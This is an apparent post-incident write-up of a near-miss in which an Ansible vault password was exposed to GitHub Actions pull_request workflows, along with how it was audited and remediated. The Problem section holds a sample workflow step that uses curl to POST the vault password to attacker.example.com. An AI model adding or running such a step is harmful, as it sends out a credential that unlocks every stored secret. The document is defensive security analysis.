Skip to main content

CI Vault Password Exposure — Security Near-Miss

Summary

In June 2026, a security audit of the mistborn-ops/ansible CI pipeline revealed that the Ansible vault password was being passed as an environment variable to workflows triggered by pull_request events.

This meant any PR — including one from a fork — could contain workflow code that reads ANSIBLE_VAULT_PASSWORD and exfiltrates it. The vault password is the single credential that decrypts every secret in TheBurrow: NetBox tokens, Pi-hole API passwords, Step-CA provisioner credentials, GitHub PATs, and more.

No exfiltration occurred. The exposure was discovered through deliberate audit, not incident response.

Date discovered: 2026-06-11 Severity: Critical — potential full secrets compromise Status: Remediated — mistborn-ops/ansible #741


Situation

TheBurrow's Ansible repo uses Ansible Vault to encrypt secrets at rest. The vault password is stored as a GitHub Actions secret (ANSIBLE_VAULT_PASSWORD) and used by CI workflows to run check-mode playbook runs, lint checks, and idempotence validation.

CI workflows are triggered on pull_request events to validate incoming changes before merge. The vault password was passed to these workflows as an environment variable:

env:
ANSIBLE_VAULT_PASSWORD: ${{ secrets.ANSIBLE_VAULT_PASSWORD }}

This pattern is standard for trusted contributors — but GitHub Actions has a critical nuance: secrets are available to pull_request workflows from forks with a caveat. For public repos or repos where fork PRs are permitted, a malicious actor can submit a PR that modifies workflow files or injects steps that print or exfiltrate environment variables.

Even in a private repo with a sole operator, the pattern establishes a dangerous precedent and creates risk if repo access is ever compromised.


Task

Identify the full scope of CI workflows with access to the vault password on pull_request triggers, assess the real-world risk, and remediate without breaking legitimate CI functionality.


Symptoms

There were none — this was a proactive audit finding, not an incident response. The exposure was identified by reviewing workflow trigger conditions and secret injection patterns across all GitHub Actions workflows in mistborn-ops/ansible.


Problem

The Ansible vault password was injected into CI workflows that ran on pull_request events. Any code running in that workflow context — including code introduced by the PR itself — had access to the secret via the environment.

A minimal proof-of-concept attack would look like this:

## Malicious step added to a workflow in a PR
- name: Exfiltrate vault password
run: curl -X POST https://attacker.example.com/collect \
-d "vault=$ANSIBLE_VAULT_PASSWORD"
env:
ANSIBLE_VAULT_PASSWORD: ${{ secrets.ANSIBLE_VAULT_PASSWORD }}

If this step ran before any security gate caught it, the vault password would be transmitted to an external endpoint. With the vault password, an attacker could decrypt group_vars/all/vault.yml and retrieve every secret stored in the lab.


Investigation

Scope of exposure

Audited all workflow files in .github/workflows/ for:

  1. Trigger conditions including pull_request
  2. Presence of ANSIBLE_VAULT_PASSWORD in env: blocks
  3. Steps that execute arbitrary code (shell scripts, Python, etc.)

Found multiple workflows passing the vault password on pull_request triggers, including the primary CI sanity check workflow that runs check-mode playbooks.

Real-world risk assessment

mistborn-ops/ansible is a private repository with a single operator. External fork PRs are not possible. However:

  • If the GitHub account were compromised, an attacker could open a PR from within the account and trigger vault password exfiltration via CI
  • The pattern violates least-privilege — workflows that only need to lint YAML or run syntax checks do not need the vault password at all
  • Establishing this pattern normalizes secret injection into PR workflows, making future mistakes more likely

Why it wasn't caught earlier

The vault password had been in CI from the beginning — it was added when check-mode runs were first implemented and never audited for trigger scope. The assumption was "it's a private repo, it's fine." That assumption is not a security control.


Root Cause

Two contributing factors:

  1. Overly broad secret injection — the vault password was passed to all CI workflows rather than only those that genuinely required it.
  2. Trigger scope not reviewed — workflows were written to run on pull_request without considering which secrets should be available in that context vs. push or workflow_dispatch.

Resolution

Step 1 — Identify which workflows actually need the vault password

Audited each workflow for whether it runs Ansible commands that require vault decryption. Result:

  • Check-mode playbook runs: yes, vault required
  • YAML lint: no vault needed
  • Commitlint: no vault needed
  • Idempotence checks: yes, vault required
  • Pre-commit hooks: no vault needed

Step 2 — Restrict vault-dependent workflows to push only

Changed trigger conditions on all workflows that inject the vault password from:

on:
pull_request:
branches: [main]
push:
branches: [main]

To:

on:
push:
branches: [main]
workflow_dispatch:

PR validation now runs only the subset of checks that do not require vault access. Full check-mode runs execute only after merge to main.

Step 3 — Remove vault password from PR-triggered workflows

Removed ANSIBLE_VAULT_PASSWORD from the env: blocks of all workflows that run on pull_request. Any workflow that cannot function without the vault password was moved to push-only triggers.

Step 4 — Add explicit documentation

Added a comment to all vault-injecting workflows:

## SECURITY: vault password only available on push/workflow_dispatch.
## Never inject ANSIBLE_VAULT_PASSWORD into pull_request workflows.

Result

  • No workflow running on pull_request has access to the vault password
  • Full check-mode validation continues to run on push to main
  • PR validation provides fast feedback on syntax, lint, and commit format without requiring vault access
  • Pattern is documented to prevent regression

Impact

No secrets were compromised. The near-miss impact assessment:

If the vault password had been exfiltrated, an attacker would have had access to:

  • NetBox API tokens
  • Pi-hole API passwords (all three nodes)
  • Step-CA JWK provisioner password
  • GitHub PATs with repo write access
  • Home Assistant long-lived token
  • SNMP community strings
  • All service account credentials

Recovery would have required rotating every secret in the vault — a multi-hour operation affecting every automated system in the lab.


Security Implications

The private repo assumption is not a security control

"It's private" does not mean "it's safe to inject secrets into PR workflows." Account compromise, insider threat (even sole-operator), or future repo visibility changes all invalidate the assumption.

Least privilege applies to CI secrets

Secrets should be injected only into the workflows that genuinely require them, with the narrowest possible trigger scope. A lint workflow does not need the vault password. A commit message validator does not need the vault password. Injecting it anyway violates least privilege.

PR-controlled code runs before security gates

A malicious step in a PR can execute before any review or approval gate catches it — especially in a sole-operator repo where there is no required reviewer. The only reliable mitigation is ensuring the secret is never available in that execution context.

Audit CI secret injection regularly

This exposure existed from the initial CI implementation and was never audited. CI workflows evolve incrementally and secret injection patterns drift. Periodic audit of which secrets are available in which trigger contexts should be a standing operational practice.


Failure Modes

What would exfiltration have looked like

  • Silent: no alert, no log entry beyond normal CI output
  • Fast: a single curl step takes under a second
  • Deniable: the step could be disguised as a legitimate network call
  • Irreversible: once the vault password is out, all derived secrets must be treated as compromised

What detection would have required

  • GitHub audit log showing unexpected network egress from CI runner
  • Secret scanning catching the vault password in CI output (it wouldn't — env vars are not logged by default)
  • Manual review of all PR workflow runs

There was no automated detection in place. This was a blind spot.


Lessons Learned

Treat CI secrets with the same discipline as production secrets. The vault password is the most sensitive credential in the lab. It should be available in the minimum number of execution contexts required for legitimate operation — nothing more.

Audit secret injection scope on every new workflow. When a new workflow is added, explicitly answer: which secrets does this need, and on which triggers? Document the answer in a comment.

"Private repo" is not a security boundary for CI secrets. The attack surface includes account compromise, not just external contributors. Design CI security for the worst plausible case.

Near-misses are gifts. This was found through audit, not incident response. The correct response is to treat it with the same urgency as an actual compromise — rotate if in doubt, remediate immediately, and document what was missed.


  • mistborn-ops/ansible #741 — security fix PR
  • mistborn-ops/ansible #602 — vault lifecycle management tooling
  • newcomb-labs/engineering-journal-kb #444 (this issue)
  • newcomb-labs/engineering-journal-kb #443 — vault split incident (related)